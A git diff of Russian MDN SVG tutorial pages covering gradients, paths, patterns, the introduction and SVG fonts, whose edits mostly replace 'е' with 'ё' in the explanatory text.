            Выше находится пример линейного градиента, который применен к элементу <rect>. Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определенных атрибутом offset для позиции и атрибутом stop-color. Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, Gradient1 начинается с красного цвета, изменяется до прозрачно-черного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут stop-opacity, чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).
            
+
            Выше находится пример линейного градиента, который применён к элементу <rect>. Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом offset для позиции и атрибутом stop-color. Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, Gradient1 начинается с красного цвета, изменяется до прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут stop-opacity, чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).
            
 
 
             <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/>
 
            
@@ -95,9 +95,9 @@ translation_of: Web/SVG/Tutorial/Gradients
 
 
            {{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}
            
 
-
            Атрибуты stop, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <radialGradient> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как cx и cy, и радиус - r. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять ее размер, как показано во втором прямоугольнике выше.
            
+
            Атрибуты stop, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <radialGradient> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как cx и cy, и радиус - r. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять её размер, как показано во втором прямоугольнике выше.
            
 
-
            Вторая "точка" называется фокальной и задается атрибутами fx и fy. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его середина. Это легко увидеть на примере.
            
+
            Вторая "точка" называется фокальной и задаётся атрибутами fx и fy. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его середина. Это легко увидеть на примере.
            
 
 
            Center and focal point
            
 
@@ -128,7 +128,7 @@ translation_of: Web/SVG/Tutorial/Gradients
 
 
            Если фокальная точка передвинута за границы круга, то градиент будет отрисован некорректно. Поэтому фокальная точка обязательно должна быть внутри границы круга (или на самой границе). Если фокальная точка не указана, то по дефолту она совпадает с центром круга.
            
 
-
            Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это spreadMethod. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект еще не заполнен. Аттрибут может принимать одно и трех значений:"pad", "reflect", или"repeat". "Pad" - это то что вы пока что видели: когда градиент достигает "краев", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берется из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.
            
+
            Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это spreadMethod. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект ещё не заполнен. Аттрибут может принимать одно и трёх значений:"pad", "reflect", или"repeat". "Pad" - это то что вы пока что видели: когда градиент достигает "краёв", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берётся из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.
            
 
 
            spreadMethod
            
 
@@ -176,6 +176,6 @@ translation_of: Web/SVG/Tutorial/Gradients
 
            Вы также можете применить иную трансформацию к градиенту, используя атрибут gradientTransform, но мы пока что его не изучали, я оставлю это на потом.
            
  
            
  Существуют и другие предостережения для работы с 
            
- gradientUnits="objectBoundingBox", когда поле ограничения объекта не является квадратным, но они довольно сложны и им придется ждать, пока кто-то другой не соизволит объяснить их.
            
+ gradientUnits="objectBoundingBox", когда поле ограничения объекта не является квадратным, но они довольно сложны и им придётся ждать, пока кто-то другой не соизволит объяснить их.
            
 
 
            {{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}
            
diff --git a/files/ru/web/svg/tutorial/introduction/index.html b/files/ru/web/svg/tutorial/introduction/index.html
index a3c0f8e0e5..4043b9238a 100644
--- a/files/ru/web/svg/tutorial/introduction/index.html
+++ b/files/ru/web/svg/tutorial/introduction/index.html
@@ -9,9 +9,9 @@ original_slug: Web/SVG/Tutorial/Введение
 ---
 
            {{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Введение") }}
            
 
-
            SVG это язык XML разметки, схожий с XHTML, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путем указания всех необходимых линий и форм, путем модификации уже существующих растровых изображений, или путем комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.
            
+
            SVG это язык XML разметки, схожий с XHTML, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путём указания всех необходимых линий и форм, путём модификации уже существующих растровых изображений, или путём комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.
            
 
-
            В 1999 году, после конкурса нескольких форматов, SVG был включен в W3C, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными браузерами. Недостатком использования SVG является его медленная загрузка . При этом SVG дает некоторые преимущества, такие как наличие соответствующего DOM interface, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.
            
+
            В 1999 году, после конкурса нескольких форматов, SVG был включён в W3C, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными браузерами. Недостатком использования SVG является его медленная загрузка . При этом SVG даёт некоторые преимущества, такие как наличие соответствующего DOM interface, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.
            
 
 
            Базовые компоненты
            
 
@@ -21,9 +21,9 @@ original_slug: Web/SVG/Tutorial/Введение
 
 
            До начала работы
            
 
-
            Существует ряд приложений для рисования, такие как Inkscape, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надежный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, JavaScript или CSS).
            
+
            Существует ряд приложений для рисования, такие как Inkscape, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надёжный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, JavaScript или CSS).
            
 
-
            SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в Can I use. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растет с каждым новым выпуском.  К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.
            
+
            SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в Can I use. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растёт с каждым новым выпуском.  К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.
            
 
 
            Перед тем как начать,  вы должны иметь основное понимание XML или другого языка разметки, такого как HTML. Если вы не очень знакомы с XML, ниже имеются некоторые рекомендации, которые следует иметь ввиду:
            
 
@@ -32,13 +32,13 @@ original_slug: Web/SVG/Tutorial/Введение
  
          • Значения атрибутов в SVG должны быть помещены внутри кавычек, даже если они являются цифрами.
            • 
 
 
-
            SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать Справочник SVG элементов и SVG интерфейсы,  чтобы найти что-либо еще при необходимости.
            
+
            SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать Справочник SVG элементов и SVG интерфейсы,  чтобы найти что-либо ещё при необходимости.
            
 
 
            Особенности SVG
            
 
 
            Начиная с рекомендации 2003 года, самой свежей "полной" версией SVG является версия 1.1. Она построена на SVG 1.0, но содержит также больше модульности для упрощения реализации. Второй выпуск SVG 1.1 стал Рекомендацией в 2011 году. "Полная" версия SVG 1.2 стала следующим главным выпуском SVG. Ей пришла на смену развивающаяся SVG 2.0, которая сейчас усиленно разрабатывается и следует схожему с CSS 3 подходу, в котором она разделяет компоненты в несколько свободно связанных специфирований.
            
 
-
            Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжелыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.
            
+
            Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжёлыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.
            
 
 
            Существовали планы для спецификации SVG Print, которая имела бы поддержку для множества страниц и улучшенное управление цветом. Эта работа была прекращена.
            
 
diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html
index ba35db7a9a..05ddefc879 100644
--- a/files/ru/web/svg/tutorial/paths/index.html
+++ b/files/ru/web/svg/tutorial/paths/index.html
@@ -19,7 +19,7 @@ translation_of: Web/SVG/Tutorial/Paths
 
 
            Команды линии
            
 
-
            Существуют пять команд линии для узлов <path>.  Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <path> для указания точки, откуда начнется рисование, например:
            
+
            Существуют пять команд линии для узлов <path>.  Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <path> для указания точки, откуда начнётся рисование, например:
            
 
 
            M x y
 
            
@@ -52,7 +52,7 @@ translation_of: Web/SVG/Tutorial/Paths
  V y (или v dy)
 
            
 
-
            Начнем с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <rect>). Он состоит только из горизонтальных и вертикальных линий:
            
+
            Начнём с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <rect>). Он состоит только из горизонтальных и вертикальных линий:
            
 
 
            
 
@@ -68,7 +68,7 @@ translation_of: Web/SVG/Tutorial/Paths
 
 </svg>
            
 
-
            Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", Z. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для нее регистр буквы не важен.
            
+
            Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", Z. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для неё регистр буквы не важен.
             Z (или z)
 
            
@@ -83,13 +83,13 @@ translation_of: Web/SVG/Tutorial/Paths
 
             <path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/>
 
            
 
-
            Путь начнется от точки (10,10), пойдет горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.
            
+
            Путь начнётся от точки (10,10), пойдёт горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.
            Возможно, в этих примерах было бы проще использовать элементы <polygon> или <polyline>. Однако, пути используются при рисовании SVG настолько часто, что многим разработчикам может быть удобнее использовать их вместо других элементов.  Нет никакой разницы в производительности при использовании того или другого.
            Команды кривых линий
            
 
-
            Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на Wikipedia. Информации о кривых Безье слишком много, чтобы попытаться охватить ее здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.
            
+
            Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на Wikipedia. Информации о кривых Безье слишком много, чтобы попытаться охватить её здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.
            Кривые Безье
            
 
@@ -98,7 +98,7 @@ translation_of: Web/SVG/Tutorial/Paths
 
             C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
 
            
 
-
            Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создает плавную кривую, которая ведет от наклона, который вы установили в начале вашей линии к наклону на другом конце.
            
+
            Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создаёт плавную кривую, которая ведёт от наклона, который вы установили в начале вашей линии к наклону на другом конце.
            Cubic Bézier Curves with grid
            
 
@@ -117,9 +117,9 @@ translation_of: Web/SVG/Tutorial/Paths
 </svg>
 
 
-
            Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделенными становятся контрольные точки. Ближе к правому, становятся более отделенными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.
            
+
            Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделёнными становятся контрольные точки. Ближе к правому, становятся более отделёнными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.
            
 
-
            Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращенную запись для кривой Безье, используя команду S (или s).
            
+
            Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращённую запись для кривой Безье, используя команду S (или s).
             S x2 y2, x y (or s dx2 dy2, dx dy)
 
            
@@ -148,7 +148,7 @@ translation_of: Web/SVG/Tutorial/Paths
 
             T x y (or t dx dy)
 
            
 
-
            Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из нее новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.
            
+
            Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из неё новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.
            
 
            Обратите внимание, что это работает только в том случае, если предыдущей командой была команда Q или T. Если это не так, то контрольная точка считается той же, что и предыдущая, и вы нарисуете только линии.
            
@@ -229,6 +229,6 @@ translation_of: Web/SVG/Tutorial/Paths
 
 
            Последние два аргумента, если вы ещё не догадались, обозначают координаты x и y, где заканчивается дуга. Дуги - лёгкий способ создавать части кругов или эллипсов в ваших рисунках. Например, круговая диаграмма требует отдельную дугу для каждого куска диаграммы.
            
 
-
            Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определен. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: http://codepen.io/lingtalfi/pen/yaLWJG (протестировано только в Chrome и Firefox, может не работать в вашем браузере)
            
+
            Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определён. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: http://codepen.io/lingtalfi/pen/yaLWJG (протестировано только в Chrome и Firefox, может не работать в вашем браузере)
            
 
 
            {{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}
            
diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html
index 4c2e459016..81970ec2f5 100644
--- a/files/ru/web/svg/tutorial/patterns/index.html
+++ b/files/ru/web/svg/tutorial/patterns/index.html
@@ -7,7 +7,7 @@ translation_of: Web/SVG/Tutorial/Patterns
 
 
            Шаблоны (Patterns)
            
 
-
            Patterns, по моему мнению, одни из самых запутанных типов заполнения (fill types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определенно стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <defs> в Вашем SVG-файле.
            
+
            Patterns, по моему мнению, одни из самых запутанных типов заполнения (fill types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определённо стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <defs> в Вашем SVG-файле.
            
 
 
            <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
   <defs>
@@ -40,12 +40,12 @@ translation_of: Web/SVG/Tutorial/Patterns
 
 
            В отличие от градиентов, у паттернов есть 2ой атрибут - patternContentUnits, который описывает единицы измерения, используемые в базовых фигурах внутри элемента pattern. Дефолтное значение для этого атрибута -  userSpaceOnUse, противоположность атрибуту patternUnits. Это означает, что если Вы не укажете один или оба этих атрибута (patternContentUnits и/или patternUnits), фигуры, которые Вы будете рисовать внутри блока <pattern>, будут отрисованы в другой системе координат (отличной от той, которую использует паттерн). Это может немного запутывать, если Вы пишете код вручную.
            
 
-
            Чтобы сделать эту работу в приведенном выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.
            
- Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещен на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты x и y шаблона должны были быть скорректированы до 10/200 = 0,05.
            
+
            Чтобы сделать эту работу в приведённом выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.
            
+ Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещён на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты x и y шаблона должны были быть скорректированы до 10/200 = 0,05.
            
 
 
 
-
            Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все еще будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.
            
+
            Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все ещё будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.
            
  Изменяя атрибут patternContentUnits , мы можем поместить все элементы в одну единую систему:
            
 
 
             <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox">
@@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/Patterns
  </pattern>
 
            
 
-
            Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменен на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой userSpaceOnUse, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.
            
+
            Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменён на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой userSpaceOnUse, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.
            
 
 
            Как ни удивительно, но в кругах Gecko, похоже, есть проблемы с рисованием, если их радиус установлен на что-то меньшее 0.075 (хотя их нужно масштабировать, чтобы иметь гораздо больший радиус, чем этот. Это может быть ошибкой только в шаблоне , Или вообще не ошибка, я не уверен).
            
  Чтобы обойти это, вероятно, лучше всего избегать рисования блоков «objectBoundingBox», если вам это не нужно.
            
@@ -69,7 +69,7 @@ translation_of: Web/SVG/Tutorial/Patterns
  </pattern>
 
            
 
-
            Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведенных выше примеров показаны ниже на прямоугольнике, который слегка удлинен до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.
            
+
            Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведённых выше примеров показаны ниже на прямоугольнике, который слегка удлинён до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.
            
 
 
            Image:SVG_Pattern_Comparison_of_Units.png
            
 
diff --git a/files/ru/web/svg/tutorial/svg_and_css/index.html b/files/ru/web/svg/tutorial/svg_and_css/index.html
index 7bdadb6b12..1382c844c6 100644
--- a/files/ru/web/svg/tutorial/svg_and_css/index.html
+++ b/files/ru/web/svg/tutorial/svg_and_css/index.html
@@ -29,7 +29,7 @@ original_slug: Web/Guide/CSS/Getting_started/SVG_и_CSS
  
            
  
 
 
 
 
 
 
 
 
 
 
            Простая фигура, Графический элемент
   
            
   
            Разрешенное содержимоеРазрешённое содержимое
    Любое количество указанных элементов в любом порядке:
            
     Элементы анимации »
            
     Элементы описания »            		
 
 
            tref
    
     
              
-     
            • Эта функция, представленная в раннем проекте спецификации, была удалена из нее и поэтому не реализована ({{Bug(273171)}}).
              • 
+     
            • Эта функция, представленная в раннем проекте спецификации, была удалена из неё и поэтому не реализована ({{Bug(273171)}}).
              • 
     
            
                		
   
            
      
     
    
   
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
             
   
            
    
-    
            На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определенных браузерах. Для более подробной информации о текущей поддержке SVG, см. SVG tables on caniuse.com, либо в таблицах совместимости SVG element reference, для информации о поддержке отдельных элементов.
            
+    
            На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определённых браузерах. Для более подробной информации о текущей поддержке SVG, см. SVG tables on caniuse.com, либо в таблицах совместимости SVG element reference, для информации о поддержке отдельных элементов.
            
 
     
            В остальные версии можно добавить поддержку SVG, установив дополнительный плагин, например, предоставленный компанией Adobe.
            
 
diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html
index 92cdb57f84..42aba5fd39 100644
--- a/files/ru/web/svg/tutorial/svg_fonts/index.html
+++ b/files/ru/web/svg/tutorial/svg_fonts/index.html
@@ -5,11 +5,11 @@ translation_of: Web/SVG/Tutorial/SVG_fonts
 ---
 
            {{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}
            
 
-
            Когда был написан стандарт SVG, поддержка веб-шрифтов еще не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.
            
+
            Когда был написан стандарт SVG, поддержка веб-шрифтов ещё не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.
            
   
            
 
 
            SVG-шрифты корректно поддерживаются только в Safari.
            
- Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25),  разработчики Mozilla отложили ее реализацию на неопределенное время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.
            
+ Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25),  разработчики Mozilla отложили её реализацию на неопределённое время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.
            
 
 
            Элемент {{ SVGElement("font") }} используется для определения SVG-шрифта.
            
 
@@ -36,17 +36,17 @@ translation_of: Web/SVG/Tutorial/SVG_fonts
 </font>
 
 
-
            Начнем с элемента {{ SVGElement("font") }}. Он имеет атрибут id, который позволяет ему ссылаться через URI (см. ниже). Атрибут horiz-adv-x определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. 
            
+
            Начнём с элемента {{ SVGElement("font") }}. Он имеет атрибут id, который позволяет ему ссылаться через URI (см. ниже). Атрибут horiz-adv-x определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. 
            
 
-
